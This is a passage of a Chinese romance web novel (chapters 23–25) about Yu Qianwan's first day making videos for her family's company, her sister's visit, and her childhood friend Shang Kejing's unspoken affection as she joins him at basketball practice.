作者有话说:刚想孔雀开屏的某人直接被千绾扼杀在摇篮里并且发来嘲讽,直接破大防[狗头][狗头][狗头] 第23章 第 23 章 “缺个贴身助理” 翌日一早。 虞千绾在由轻渐重的闹铃声中醒来, 素来会赖床一会儿的她今日却分外积极,左手去摸手机关闹钟的同时右手就撑着床单半坐了起来,未清醒的身形微微摇晃,眼睛也较显艰难地眯着, 但依旧没怎么犯懒拖延地直接下了床。 毕竟是第一天工作, 她还是有些激动和忐忑的, 想要早些到达新环境观察适应。 虞千绾并非是个绝对性躺平的人, 面对感兴趣、乐意去做的事, 她可以付出百分之两百的努力。她极其不喜在局限且与旁人共存的环境下工作,也不喜数十年如一日稳定且重复率极高的工作, 她会觉得很没意思。 她喜欢新鲜感, 喜欢稳定中却又有些可控的不稳定,既不会让她乏味又不至于太难, 还可以让她在完成后感到满足。 后者需要接触后才能确切感知到,而前者, 现在的账号经营无疑就给到虞千绾这种感觉, 所以她没什么抵触情绪,反倒挺开心地进入,主动深入了解。 最让虞千绾喜欢的就是时间地点上相对的自由度与灵活性,她不用天天早起去到公司里坐班, 也无需等到工作之余才能享受生活, 她依旧可以和朋友们约着出去玩,因为她的工作只需要一台电脑,她在闲暇时间拿出电脑就可以写脚本剪辑视频, 像今日这种要去现场拍摄的到底是少数情况。而且就算她某段时间得花很多时间在工作上没法游玩,但起码能换个新环境,在山清水秀的地方待着处理工作也比在公司里好。 综上, 几乎可以说,这份工作是虞千绾的梦情工作了,所以她愿意把精力投入其中,愿意在其中努力向上,想要成功把号做成,创立出很多很多十万加点赞量的视频,这样她就可以靠着经营账号和姐姐赌一辈子,再不用无趣且煎熬地坐在办公室里对着一堆电脑和文件挠头。 就在几个月前,她还以为自己就要过上这样的日子了,幸福来得突然,她更为珍惜。 不过她的身份可不仅仅是新账号的宣传经营者那么简单,她还是嘉澍集团的另一位继承人。 虽然虞千绾并没有继承嘉澍的念头,但她确是爸妈的孩子,外人都会这么认为她,她自也不想给家人丢脸。 而且第一次正式负责与嘉澍相关的业务,虞千绾想要表现出在职场中该有的那份成熟与气场。 这大概是许多年轻人的通病,总想要将自己打扮的成熟。 于是虞千绾学着姐姐平日的穿搭穿了身偏休闲风的西装套装,不那么随意也不那么夸张,脚下配了双纯黑色的尖头高跟鞋,经常披着的卷了发尾的长发也被她挽起盘在脑后,妆容颜色也没有用什么鲜艳的亮色,尤其在眼周,仅用眼线轻带,化了个干净利落淡到像没怎么化的淡妆。 奈何就算照搬照套都没什么用,虞千绾看着镜中的自己,完全没感觉到姐姐的那份气场。见到陌生人或许能唬住别人几分,可见到熟人完全唬不住,熟人会一眼看出她在装大人。 虞千绾对着镜子左转转右转转怀疑人生,她足足一米七的个头,姐姐也就比她高了两厘米,气场怎么会悬殊这么大呢。 虽然她知道问题出在眼睛上,但还是免不得惆怅感慨。 她跟姐姐长得非常非常像,如若只看下半张脸,几乎是一模一样,但只要露出眼睛,姐妹俩的气质就完全不同了。 虞千绾的眼睛圆润有神,稍有些笑意眼睛就亮晶晶的,看着像只纯良的小白兔。 虞昭音的眼睛则是狭长冷淡型的,天然会给人一种距离感。 奈何眼睛在面部的存在感太强,使得她们给人的感觉悬殊很大,所以明明除了眼睛都很像的姐妹俩却没多少人说她们长得像,甚至旁人还觉得虞昭音的唇要更薄些,眉毛更细长些,总归是更显凌厉的那种。 故以,虞千绾化妆时还小心机的把唇在视觉上化薄了些,然而并没什么用。 毕竟她还没从学校里毕业,还有着未被磨砺过的学生气,周身的气场很难和在嘉澍叱咤多年的姐姐相似。 天生的外形不可改变,至于内在塑造的气场…… 嗯……如果要像姐姐那样努力工作才能塑造的话…… 虞千绾一秒转变立场,自觉自己这样也很好,气场不要也罢,反正都是虚的,享受到的悠闲自在才是真的。 哄好自己,虞千绾提着包包哼着小曲出门。 推开门她发现商恪景的家门居然大敞着,他怎么这么早也醒了? 但这念头没在虞千绾脑海里停留太久,她只觉得找到了一个显摆对象,踩着高跟鞋就踏入商恪景家里。 商恪景正窝在沙发上打游戏,在隔壁门打开的时候他就听到了,视线早不知往门口瞟了多少次,这次虞千绾真过来了,他倒收起视线在那故作没发现的继续打游戏,直到虞千绾的脚步声一点点靠近,他才一副刚发现的模样掀眸看去。 只见虞千绾迎着他的视线逐步迈近,但她步子迈得比正常步伐小,脚踩地时力度也稍重,高跟鞋俏皮在她脚下发出哒哒哒的清脆音,注意力彻底从游戏里移开,商恪景眉眼噙笑定睛追随着她,眼睛一眨不眨。 站定的那刻,虞千绾下意识想要拨一下秀发侧扬脸庞故作姿态,但手指触到肩上的瞬间才想起头发被自己盘起了,转而,她手掌虚虚在圆润的后脑勺捧了捧,“看我,是不是有几分我姐的样子了?” 商恪景放下手机,几乎是瞬间就get到虞千绾想要表达的点,附和地鼓了鼓掌,“哪能?昭音总是昭音总,千绾总是千绾总,两位总各有各的气场,但都相同的漂亮有内涵。” “小商有口才啊,明天就提拔你当我贴身助理。” “这么有口才还得等到明天吗?千绾总先提拔我一天,我多一天工资啊。” “哈哈哈哈。” 虞千绾被哄得乐得合不拢嘴,故作高姿态地朝他摆了摆手,“行行行,那今天晚餐商助理安排好发我手机上啊。” 她拍了拍胸脯,“一切消费由千绾总买单。” 商恪景左手握拳,右手覆在左手上,朝她掬了掬,“大方阔绰的千绾总放心去商界厮杀吧,我会为您完美处理好生活琐碎的,尤其第一天工作的晚餐,我一定竭力让您满意。” 虞千绾都快要被这突如其来的戏尬翻也爽翻,但很讲义气地跟商恪景说:“你放心,等你去永誉上班的时候,我也这么跟你演。” “只是演吗?我还真缺个贴身助理。” “想得美。”虞千绾鼻尖傲娇轻哼,“我可是千绾总。不跟你说了,我要去工作了!车已经在楼下等我了。” 她可可爱爱地来,风风火火地走。 让他的心满了又缺。 商恪景全程视线追随,听到电梯开启又关闭的声,他才念念不舍起身把家门关上。虽然还有些同她分开的小惆怅,但面上那些积蓄着的因她产生的笑意还没散去- 嘉澍集团旗下购物平台新签的代言人叫容博延,是演艺圈新一代奖项流量双断层的顶流艺人。 他的私德也很不错,对待所有工作人员都是笑吟吟的一视同仁,不会随便耍大牌,但显然有人同他及他的工作人员说过虞千绾的身份,他们对待虞千绾尤其客气,生怕怠慢了她。 容博延很会摆镜头,身材也有着特别锻炼过的痕迹,将身上的衣服撑得恰到好处,长相也是显而易见的英俊。 拍摄这么个既帅又懂得技巧的人,虞千绾现下省心许多是毋庸置疑的,也省了很多后期美化P图的麻烦。 对比起当初…… 逐渐清醒的她不禁感叹之前给常桦拍视频出片真的吃了太多苦…… 常桦能进娱乐圈,颜值在平常人里自也是上等的,但在满是帅哥美女的娱乐圈,常桦就显得平庸许多,尤其他还是个淡颜系,在一群吸睛的浓颜帅哥里绝不会被先被注意到的那个。 所以每一次,虞千绾给他拍摄的时候都得找很久的角度隔除旁人,或者出片后裁掉别人,总之是没有当下拍容博延这么丝滑顺利。及时现下容博延旁边也有帅哥,那大多也只有给他当绿叶陪衬的份,虞千绾完全不用怕旁人对他产生威胁。 第一次拍摄就这么顺利成功的临近尾声。 为了给新账号引流,虞千绾还让容博延帮她签了几十张签名照,以及后续的抽奖to签,届时全都发放给评论区的网友当做福利- “昭音总。” 虞昭音刚来到拍摄现场就被几位工作人员看到,其中一人率先礼貌唤了声,她微微颔首,然后比了个嘘示意工作人员都安静下来忙自己的就行不用管她。 今日这种小场合自然无需她这个总裁过来,但这是虞千绾第一天工作,作为姐姐,虞昭音觉得她需要来。 姐妹俩因为悬殊十岁,虞昭音的阅历总是先虞千绾十年,虞千绾的很多个有特殊意义的第一次,虞昭音都陪伴在侧。 很多时候也不是虞千绾提什么要求,只是虞昭音爱护妹妹,心念妹妹,甚至有时是虞昭音在好奇虞千绾的生活,想尽可能多的了解她的生活,不想因为年龄的代沟错过什么。 于是,在虞千绾第一次正式工作的时刻,虞昭音依旧来了,没有错过,还特意带了束花。 不过为了不打扰环境不喧宾夺主,虞昭音把花放在了休息间没抱着过来,打算过会儿单独送给虞千绾。 还没收到花,仅是忙完工作后的一个余光扫见姐姐,虞千绾就高兴地朝她小跑去,第一时间拉住姐姐的手同她分享自己的快乐和斗志,“姐~我就知道你会来!我跟你说哦,我有信心,这次我绝对又能弄到最少三个月的假期!反正我拍了好多视频呢,又没说一个人的只能发一次,一个视频三十万点赞有难度,三个十万的就没那么难了。” 虞昭音一向冷淡的模样在此刻变得极度柔和,就像面对着孩子一样,她抬手细心帮虞千绾左额前微微散乱下来的那缕碎发勾起往后捋了捋,“已经做得很好了,爸妈和小橙子也让我带话来祝你开启人生新篇章呢。” “好耶,收到收到。等回家路上,我再挨个给他们发消息~” 虞昭音来这看了好一阵了,看到虞千绾的第一眼,她就发现妹妹在学自己的打扮,但许是见多了妹妹稚嫩的模样,她倒不觉妹妹在装成熟,而是真的在成熟在长大了。 她看着虞千绾架着拍摄器材一脸认真严谨地和各方负责人对接,看着虞千绾踩着高跟鞋忙忙碌碌的模样,很切实的感觉到记忆里的妹妹在长大。 为妹妹欣喜之余,虞昭音还有些怅然若失。 幸而,在看到她后,妹妹还是第一时间那么可爱俏皮的靠近她,同她撒娇,同她叽叽喳喳有着说不尽的话,还是那个小女孩。 捏了捏虞千绾胳膊,虞昭音问:“忙完了吗?忙完了咱们去休息室聊会儿?” 她就是抽空过来看看虞千绾第一天工作适不适应,过会儿还得回总公司忙自己的工作,并没太多的时间。 “那姐姐你等我一下,我还有最后一件事跟他们说一下就可以了。” 虞昭音点了点头,看着虞千绾像只小蝴蝶绚烂地飞走又飞回。 “好啦!” 虞千绾直接挽住虞昭音的胳膊,同她一起去到休息室。 还不待虞昭音说,虞千绾就自觉抱起放在里头的花,“哇~好漂亮,好明媚的配色。” 虞昭音买的花是黄色系的,浅黄、嫩黄、橙黄,许多不同颜色的花朵形成层次感,其间缀有白色小花,四周则是黄莺和小圆叶尤加利。 花束原先摆放的位置并没有阳光,虞昭音怕日头给花儿晒蔫吧了不好看,但这一会儿的功夫,太阳的位置变化,光线正好刺到了花束上,倒让本就惹眼的黄色系花朵更显明媚温暖。 虞千绾很是喜欢,头都挨下去猛吸一口,“好好看呀,我还是第一次收到黄色系的花呢。” “很明媚很治愈,很像你。” 正因如此,虞昭音才买下这束花。 “嘿嘿,谢谢姐姐~” 虞千绾嗓音更夹了些,脑袋挨过去蹭了蹭姐姐。 虞昭音抬手摸了摸她的发。 姐妹俩就这么坐下聊了会儿琐碎日常的事。 眼瞧着时间流逝,距离回嘉澍的时间越来越近,虞昭音才拉住虞千绾的手,声调放轻询问:“告诉姐姐,最近是不是受欺负了?” “嗯?” 虞千绾睁着圆溜溜的大眼睛,还不明姐姐突然转换话题的所指,“什么?” “就之前的那个小网红。” “哦……”虞千绾刚还神采飞扬的小脸肉眼可见地微怔而后敛下神情,“他啊,姐你怎么想起来问我这个……” 姐妹俩虽然感情很好,许多事情都聊,但男人这件事,她们很少聊。 倒没太多旁的理由,就是在姐妹局、家庭局中都不是优先级高的话题。 在她们家里,谈对象好像一直不是个多重要的事情。 加之这些年时代变化,不止她们,周围朋友的家长都不是在催婚,而是催育,只要自家家业有后代继承,男不男人的无所谓,父母们还不想有个外人来到自家呢。而且说白了,京市有几家财力能比得过虞家?届时两家孩子财产共有,虞家定是吃亏的那方。 而且虞昭音对待异性的态度也渐渐影响到虞千绾,起初虞昭音谈恋爱的时候还会跟家里人提一提对方的性格和家庭以及怎么认识的,后来分了又谈,经历几段基本就不太当回事不会主动提了,除非某个契机正好聊到。 甚至于虞昭音当年去国外度假回来后就怀上了虞景澄,家里人都没多过问那个男人到底是谁,一方面是虞昭音明显没有和那人后续交往的意思,家人便没那闲心去关注他,另方面是虞昭音之前就挺想要个孩子的,还有思考要不要去国外精子库挑个基因不错的精子,这个孩子来得都在她们的计划中。至今,虞昭音都没说过任何有关孩子父亲的信息,家人也没多问过。 所以潜移默化中,虞千绾也觉得,不找到一个要结婚的对象也没必要那么早告知给家里人。但毕竟是第一次有喜欢的对象,起初,虞千绾还是很想把常桦这个人描述给家人听的,但是常桦身处娱乐圈身份特殊,他们也并没有真正在一起过,所以虞千绾没提,打算等到他们日后真在一起了感情稳定了再说,哪知道就发展成了现在的样子。 但她没想到,一向不太过问她感情生活的姐姐今日会冷不丁问及。 虞昭音确实不关心感情生活,无论是自己的还是旁人的,因为这事在她的生活里已经几乎占比为零了。 但现下的重点是,她知道妹妹受委屈了,这两个的着重点完全不同。 虞千绾听着姐姐的话,看着她认真在意的神情,心软软地侧首依偎在姐姐肩头,把和常桦的事都告诉了姐姐。 第一反应,虞昭音让虞千绾给她看了眼常桦的照片。 看完后,虞昭音沉默良久。 虽然是沉默,虞千绾感觉自己被骂得很狠。 虞昭音并非完全没管过虞千绾的感情生活,在虞千绾高中那会儿,差不多可以谈恋爱的年纪,虞昭音常同虞千绾聊这些,还跟她科普过性知识,但虞千绾到底没经历过,所以虞昭音说得比较浅,但起码让虞千绾有了些保护好自身的意识。 后来虞千绾成年,渐渐长大,心智成熟,该懂的道理也都懂得差不多,虞昭音就没再多管过。 不过时不时的,家里人也会跟虞千绾说,家里不要求她日后对象的家世多好,但绝不能太差,最重要的是自身得上进,品格良好。 然而常桦…… 显然哪个点都没达到。 到底,虞昭音只是摸了摸虞千绾的脑袋,“果然还是个小屁孩,纯靠着青春萌动的感情,不看颜值也不看自己得到的钱和情绪价值。” 虞千绾忍不住为当初的自己发声,“他有这么丑吗?虽然我现在不喜欢他了……但我感觉更多是人品问题,颜值没拉胯到那个地步吧?你这话显得我品味也太差了吧……” “嗯,很差。” 虞昭音以平淡的语调说出攻击性极强的话,虞千绾听得直想吐血。 “确实也不丑,但你自小跟商恪景关系那么好,周围帅哥也不少啊,恪景的哥哥长得也不赖,以及我看你堆朋友里面,薄家的那个孩子,还有程家的都不错,起码都比这个男的好看,以我的审美来说。” 虞昭音捏着虞千绾的脸,认真瞧了瞧她的眼睛有没有问题,明明生活在经济和外貌都挺优越的环境里,怎么看上了这么个什么都普通的男人。 虞千绾一时间更是反驳不上来,脑袋耷拉下去,声调嗡嗡,“……不知道,就是对别人没感觉。” 感情这事真的很难靠着世俗意义上的优秀去操控,譬如虞昭音也觉得商恪景和商知珩家世相当,外貌优秀,但她不会喜欢他们。 虞千绾亦然。 感觉是个很虚浮,自己都没法控制的字眼。 有那么一句话说,当那个人出现时,一切对于理想型的设定都形同虚设,甚至那个人和想象中完全是两样的,但心就是动了。 何况她们这圈子里都是家世不错的,长得帅也不少,如果只以这两个条件判断,那怕是会有很多个喜欢的对象。 不再喜欢常桦的虞千绾已经无法共情当初的自己了,她甚至自己都说不出自己当初是怎么一点一点喜欢上常桦的了,只想赶紧跳过这个话题,“姐你不要侮辱我了……我还以为你是要安慰我的呢。” “起初是这么想的,但我看你已经走出来了,再安慰反倒让你多想又陷进去,还不如找找根本原因,防止下次换个男人重蹈覆辙。” “绝不可能!” 虞千绾猛一拍桌,“再这样我就是猪。” 虞昭音没说话,只是浅笑着抬指在虞千绾鼻子前推了推。 虞千绾恼羞成怒扑到虞昭音怀里挠她痒痒,“啊!姐姐你怎么这么对我啊,商恪景都安慰我好久,你可是我亲姐姐。” 虞昭音不怕痒,随虞千绾怎么折腾,就笑着看着她,漫不经心问:“这些天都是恪景陪着你的?” “对啊。” “对他也没感觉?” “当然没感觉了。” 看着虞千绾不假思索就脱口而出的姿态,虞昭音点了点头,没再多问,换了话题,“绾绾,你确定不给那个男人些苦头吃?虞家女儿的身份是你的助力不是桎梏,你不需要因为担心账号经营问题轻轻放下,姐姐会帮你处理好一切,你只需要安心做你的工作。” “也不是啦,我是真的觉得没必要了,之前在他身上浪费太多时间,不值当。而且,我觉得他不可能在娱乐圈闯出名头来,相反,他要是待在网红圈还真能捞点钱,所以让他在娱乐圈待着反而挺折磨他的,他就是这种人,既要又要,拿不起还放不下的。尤其最近他同公司里最讨厌的那个男明星火起来了,他肯定超级不爽。” “尤其呀~我知道姐姐会帮我处理好,但姐姐这些年在嘉澍已经很累了,所以我也不想浪费姐姐的时间和精力。” 虞昭音宽慰一笑。 但在出了拍摄基地,和虞千绾的车往两地驶出时,虞昭音单手抵额手肘撑在座椅扶手边缘,淡淡说:“有个叫常桦的,给他找点事做。” 跟随虞昭音多年的助理自然听得出虞昭音的不快语调和隐蕴的深意,“是,昭音总。” 第24章 第 24 章 “虞千绾,你看见我了吗…… 虽然虞千绾在现场拍摄了许多容博延的视频和照片, 虽然她知道多放与容博延有关的内容视频的流量和点赞量会越高,但她依旧没有那么做。 因为新账号主打是以她的视角记录的与嘉澍有关的日常,一切都以她自己为主角往外延伸,而容博延只是单日里的一个小点, 放太多容博延反而会让大数据对她的账号定位有所偏移, 误以为是站姐类推给追星族。 所以虞千绾只打算在视频里剪入一小段容博延, 没用到的那些她就留着等到日后专门出一个合作过的明星大合集。 在视频剪辑上, 虞千绾基本没什么担忧, 她已经很熟悉这方面操作,但她只有剪些明星向视频和搞怪小视频的经验, 不似新账号这般高难度, 光是脚本都够她钻研许久。 加之是新账号的第一条试水视频,虞千绾很重视, 心里面不自觉将其高度拔高到不该有的位置,反复修改反复剪辑又反复推翻。 幸而她的时间很多, 目前购物平台还没官宣容博延的代言人身份, 她需要等待购物平台公开宣传后再配合着一起把视频发出去,尚有充分的时间慢慢磨出自己满意的视频。 一周多的时间,虞千绾情绪基本调解好,虽然心里可能偶尔想起还会略微有些不是滋味, 但已经不会再哭再明显形于色了。 商恪景发现了, 但他藏着私心,所以嘴上不提,依旧除了睡觉外的时间都待在虞千绾家里。 虞千绾自然也不可能说什么, 两人就这么和谐共处着。 青梅竹马的两人很习惯这样的日常,丝毫不会感到不适应,毕竟比之之前也就是每天在一起的时间更长了些而已。 这段时光里, 商恪景非常惬意愉悦,因为再不用必须想到正当理由或话题才能来找她- 国庆假期悄然结束,但对处于大四的虞千绾和商恪景而言节假日和工作日并没太大区别,因为他们的课程很少,有时再碰巧遇到老师调课,两周都不用去一趟学校。 唯一固定的是,每周一次有关论文的线上或线下会议。 但没课协商一个组的学生有些困难,且老师也不是很想在学校里等着学生,找个固定的时间不固定地点对大家都舒服。 所以开学至今,就起初那周老师要求组内带的学生去了趟她的办公室线下交涉,其余都是选用的线上会议方式。 每周,虞千绾和商恪景这一组的所有学生都会按照老师的要求在截止时间前把论文发送给老师同步论文进度,然后在统一的时间与老师通语音沟通有无需要修改的内容或后续有关。 因为虞千绾天天抱着电脑和手机制作视频,商恪景也跟着上进不少,但他没旁的什么事要做,于是全把精力放在论文上,都要把论文初稿写完了——他们之前参加过不少次竞赛,还拿过几次国奖,很熟悉论文格式和写法。本科论文本身就没太大难度,商恪景还刻意选的是和自己当初参加过的一个竞赛差不多的选题,写起来非常顺滑。 虞千绾被他卷得焦头烂额,让他等等自己。 商恪景笑问她急什么,这才大四上学期没过多久,后面日子还久,而且她已经定期完成了老师的要求。 虞千绾自也知道这个道理,如果早早把论文写完的是旁人她压根不会有什么危机感,但偏偏这个人是商恪景,虞千绾就不适应,非常不适应。 他们该一起躺平的才对。 突然见好友这么卷,她心头慌慌的。 又是一周的线上汇报后。 邢老师狠狠夸赞了商恪景一番,说他是她带的学生里进展最快的,旁人都得在新年前才能把初稿大致定下,而他早早就完成了,甚至已经进入了数据收集阶段。 因为商恪景这番卷卷的行为,本来进度并不慢且完成了老师要求的同组学生们莫名就被老师小小吐槽了一下。 然后,商恪景一打开电脑就会收到虞千绾投来的哀怨一眼,还会轻嚷着让他等等她。 商恪景笑着妥协,转而挑选起电视剧看。他本身也没那么想努力,只是不想让她觉得他很无所事事。 在网上看了些电视剧的排名和评价,最终,商恪景选中了一部叫做《我的阿勒泰》的剧,剧很短,就八集。 虞千绾不太能够一心二用,虽然她挺喜欢剪视频或写论文的时候放个音乐或电视剧在一旁,但并没多少能进到脑子里,只是单纯喜欢有个声音在旁边。 所以,即使商恪景就坐在虞千绾旁边看的剧,她都不知道这部剧到底在说什么,就知道里面时不时冒出些听不懂的语言,总归不是普通话,并且女主角叫李文秀,男主角叫巴太。除此外,她就什么都不知道了。 “虞千绾,你看见我了吗?” 正在潜心写论文想要赶上商恪景进度的虞千绾忽闻他这么问了句,她抬头看去,懵然于他这没头没尾的话,“啊?什么?” 商恪景朝着面前的电视抬了抬下颚。 虞千绾顺着看去,只见商恪景用遥控器操控着电视回退了半分钟。 电视重新播放她没有看到的内容。 虞千绾定睛细看。 屏幕中,女主角遥遥望着在牧场躺着的男主角,出现了这么一句台词——“哈萨克文化里,人与人之间产生友情或者爱情是由于被看见,所以在哈萨克语中我喜欢你意思是我清楚地看见你。” 虞千绾想当然的认为他们之间是前者,还当商恪景在阴阳怪气她当初喜欢常桦时忽略了同他的友情,当即语调微扬,眼眸亮晶晶地看着他,满怀激情道:“当然看见啦,我全世界最最最好的朋友!你最近一直的陪伴,我都有看到!感恩~” 商恪景寡淡笑了笑,视线情绪不明地自她面上滑过,回正看着电视,遥控器也被他随手丢在一旁。 虞千绾无辜眨了眨眼,将电脑从腿上拿下去放在一旁,跪坐在沙发上倾身去瞧商恪景,“你怎么怪怪的?” “没有。” “没有?”虞千绾才不信,指着他脑门说:“你就差没把‘有事’这两个字刻在这了。” “真没有。” 商恪景偏过头,避开她手指的方向。 鼓了鼓嘴,虞千绾委实不解地瞧他,刚不是还好好的吗?怎么突然就不高兴了。 她最近也没提过常桦呀,也没因为旁人忽略了他,更没干过什么重色轻友的事吧? 客厅静了一瞬又一瞬,只有电视机持续往外传着声。 倏地,商恪景感觉到身侧人又朝他的方向挪了挪,圆润的脑袋可可爱爱地半探到面前,水灵灵的大眼睛巴巴望着他,好似想通了的模样斥责他,“商恪景你不是吧?不给你写论文还生气了?那你写呗。我不就是想让你等等我一起嘛。这么小气啊。” “你爱写可以写呀,最好把我的也一起写了。” 嘴比脑子快的。 商恪景被气笑了,当即发出声嗤笑。 他也是服了…… 这人到底什么脑回路? 偏偏气笑之余看着她那双懵然的眼和神情又觉可爱到不行,很想摁到怀里揉一揉,捏一捏再……亲一亲。 但显然超出了朋友范畴。 喉结微滚,商恪景一手放在她发顶转过她脑袋不让她用那双好看到不行的眼睛望着自己,一边同步地将视线也偏离开克制着不去被她吸引。 “真没什么事,我也不想写论文,只是看你一直在忙工作,我感觉自己也得找个事干。更没有生气,只是一直看剧打游戏有些无聊,提不起兴趣而已,” 这次,商恪景说话语气和神情正常了许多,不再像刚刚那副姿态了,虞千绾瞧了他眼这才安心,没再多想,“那你要不要约人出去打打篮球练一练?毕竟很快就要篮球赛了。” “你去吗?” “不想去,我不懂篮球,而且你们一群男生练球,我去很无聊。” 商恪景眉头一皱,不乐意了。 他侧过身,右手曲着直接压在沙发背上,宽硕颀长的身形具有压迫感地朝她倾近,“不是,虞千绾你不是说要给我加油打气送水送毛巾的吗?” 虞千绾毫无退缩之意,理直气壮,“我说的那是正式比赛!又没说平常训练。” “你——” 商恪景欲言又止,最后只是忿忿丢下“没良心”三个字偏开了头双手抱胸半侧过身不再看虞千绾,明摆着生闷气的样,比刚刚那句“没有”还要明显。 不知道是不是自己的错觉,虞千绾感觉商恪景最近特别特别娇气,动辄就有些小脾气小情绪的,很需要人哄似的。 但在她情绪不稳时,他的这种微妙情绪又会消散无存,稳稳接住她的情绪。 他们之间好像有着一种难以言说的平衡感。 想着他最近都陪着自己,虞千绾瞧着他正对着自己的那个隐蕴着不满的后脑勺,顺从着改了口,“行行行,去去去,商少爷开心了没?” 商恪景睐她眼,还拿腔作调的,“这么勉强啊?那就别去了。可别耽误千绾总的工作。” “啧。” 虞千绾一秒变脸,抬手就往他胳膊上打了一巴掌,跟着用食指指着他警告,“差不多得了啊,别在那得了便宜还卖乖的,跟你台阶就快点下。快跟球队约时间吧,不然小心我改主意。” 商恪景揉着刚被打过的胳膊那片,嘴里咕哝着“真暴力”,转而拿起手机联系魏明轩那边询问球队训练时间时,唇角却很是难压。 一想到虞千绾会陪他去练球,心里就爽到不行。 作者有话说:注:“哈萨克文化里,人与人之间产生友情或者爱情是由于被看见,所以在哈萨克语中我喜欢你意思是我清楚地看见你。”——来自《我的阿勒泰》第五集~ 第25章 第 25 章 看着虞千绾被别人要微信…… 正巧, 当天傍晚就有篮球队的训练,商恪景从魏明轩那得知时间和地点后便打算和虞千绾吃完晚饭再过去,路上走一程消消食,到现场打球刚好。 魏明轩当真是个非常负责任的队长, 哪怕他这段时间崴伤不能打篮球, 甚至行走还得拄个单拐借力, 但仍旧天天风雨无阻地去球场陪着队友们训练, 在一旁像教练般盯着, 随时指出问题。 徐盼雁不放心男友的脚伤,怕没自己盯着他会忍不住球瘾上场打球又给脚踝造成二次伤害, 所以空闲时候她也基本都会陪着他一起去球场, 一方面是盯着他,另方面是多少能帮衬他些让他不那么累。 今日听闻虞千绾要来, 徐盼雁比往日都积极,立即说自己提前些到, 还特意给虞千绾买了她爱喝的奶茶谢谢她那天帮自己给商恪景传达话。 知晓徐盼雁也会去后, 虞千绾心情肉眼可见放松了不少,对去篮球场这事也多了几分主动性,不再觉得那么无聊,哼着小曲拿着包去冰箱前挑选零食和饮料一起带去。 商恪景瞧着, 回家拿了个方便携带的小瓶驱蚊液一同放进包里, “室外球场估计有蚊子,你们俩女生到时候多涂些。” “哦好。” 虞千绾把驱蚊液拿起,转而插在了包的侧边, 如此方便拿,要是和零食混在一起真到用的时候寻找起来很艰难。 很不经意的,商恪景视线往虞千绾包里扫了一圈。 全是吃的喝的, 里面有瓶运动功能性饮料显然是给他带的,但是旁的就没什么是与他有关的了。 见虞千绾要把包包的拉链拉上,商恪景很难不显刻意的生咳了声。 虞千绾拉拉链拉到一半的动作一顿,一副‘我倒要看看你又要作什么妖’的眼神睇他,“干嘛。” “给我准备的毛巾呢?” 商恪景这话是直视着虞千绾眼睛说的,但语调和神情都有些内收。 主动提这茬,莫名还挺难为情的……他有些不自在,但不提肯定没有,二者相较起来,当下的这点难为情不算什么。 虞千绾语噎,她明明说的是打比赛的时候! 他训练她能陪他去已经很不错了! 怎么这么多要求,一个毛巾而已,他不能自己带吗? 话到嘴边,虞千绾又觉得这个对话很熟悉,似乎不久前才刚发生过一轮。结果就是某人突然转过头生起了闷气,丢下一句“没良心”,只留下一颗圆润的后脑勺对着她。 “行吧,我找找家里还有没有没用过的毛巾。” 不想再重演一遍,虞千绾没再同他斗嘴,将手上的包包塞到商恪景怀里,转身去屋内寻找买回来后清洗过但没使用过的新毛巾。 商恪景顺手就给包的拉链拉到底,然后将双肩包套入两臂,就这么把被零食塞得鼓鼓囊囊的包背在身前,表面淡定地盯着虞千绾刚刚进入的房间门口,搭在包缘不断像弹钢琴般迅速起落的长指却透露着内心的躁动。 虞千绾拿着毛巾出来的时候,面上有些思索的犹豫,她迟疑着将毛巾展开提起,对着商恪景的方向晃了晃,“我家就剩这一条毛巾了,感觉不太适合你。不然你先从自己家里拿条带着?” 怕他又因为这个点叫嚷起来,说他这段时间的关心喂了狗,虞千绾话音刚落就急遽补充,“我保证!你正式打比赛的时候我肯定给你提前买好新的带去,今天太突然了,我什么都没准备。” 她家里倒是还有新毛巾,但都是那种自买回来就根本没打开清洗过的,连水都没过肯定不能直接贴着皮肤使用,可临时洗又干不了,所以能用的毛巾只剩她手上这条。 随着虞千绾走近,逐渐看清毛巾样式的商恪景才明白她口中的不太适合指的是什么。 那是条白粉色的渐变毛巾,但白色占比不多,大多是由浅粉到正粉的渐变,看起来嫩乎乎软绵绵的,而且毛巾较为小巧,四四方方的一个,很明显属于女生的东西。不仅如此,上头还有很多小细节,比如一颗可爱的小草莓,比如一些精细的绣花,总归一看就不像男生会用的样式,尤其商恪景这么个一米八八大个头的男生,在球场被那么多人注视着使用感觉怪怪的。 当然,商恪景如果乐意,虞千绾没什么意见。 然而某人却以小人之心度君子之腹。 “干嘛?还没送就舍不得了?” 就跟生怕虞千绾反悔似的,商恪景一秒把毛巾从她手里拽过,另手拉开身前背着的包最前面的拉链,把毛巾重新叠好放入与零食不同的空间内。 心思被歪曲,虞千绾双手抱胸,忿忿瞧他,“早知道买个大红色配蕾丝花边的了,到时候看你用不用。” 两个人的斗嘴总是开启的突然,也结束的突然。 幸而他们的性格都是如此,根本不把这些话往心里去,也不是真的在争吵什么,但凡有个别的事情转移注意力,他们就去关注旁的事了。 时而上一秒‘互殴’,下一秒就聊到别的话题又好得跟连体婴似的。 当然,是虞千绾单方面地‘殴打’商恪景,商恪景顶多用手指头杵她几下。 虞昭音常用两个精分怪来形容他们的相处。 而且是两个跳脱劲在一块的精分怪,大概就是那种互相很快就能get到对方点的相处,也算是一种相处中难得的融洽和默契- 饭后。 虞千绾给徐盼雁发了条消息告知她自己要出门了,然后才去玄关处换鞋和商恪景一块前往篮球场。 包里大多东西虽然都是虞千绾的,但依旧是商恪景背。 对这点,两人都没什么多的念头,很顺手的动作,她递他拿,打小就这样,已然成为了一种习惯。 还记得高中学业最重的时候,书包沉得要命。 商恪景还是会背两个书包,前面一个,后面一个。时而虞千绾良心发现,可能会自己背一会儿,但商恪景的手还是会帮她在书包底下托着些又或在书包上头提着些,总归不让她感到太重。时而虞千绾特别没良心还会往他脖子上再套个帆布包。 在这方面,商恪景顶多就睐她眼说几句,该拎还是拎。 因为从有记忆开始,爸妈就教育他当个男子汉,教育他要多帮助别人,尤其是自幼相处的好朋友虞千绾。 商恪景比虞千绾大将近八个月,现在的他们看不出什么年纪差异,但在幼时,八个月的差异是很大的。 譬如那会儿的小恪景可以流畅走路时,小千绾才刚会爬。他有些自己的思想会与人沟通时,她还在牙牙学语。 所以在幼时,他短暂的当过她一段时间哥哥。大家都这么称呼他们——“恪景哥哥”“千绾妹妹”,可惜后来虞千绾长大就不肯叫了。 彼时,爸妈常说:“恪景,你是男孩子,又是哥哥,跟千绾出去玩的时候一定记得照顾好她。” 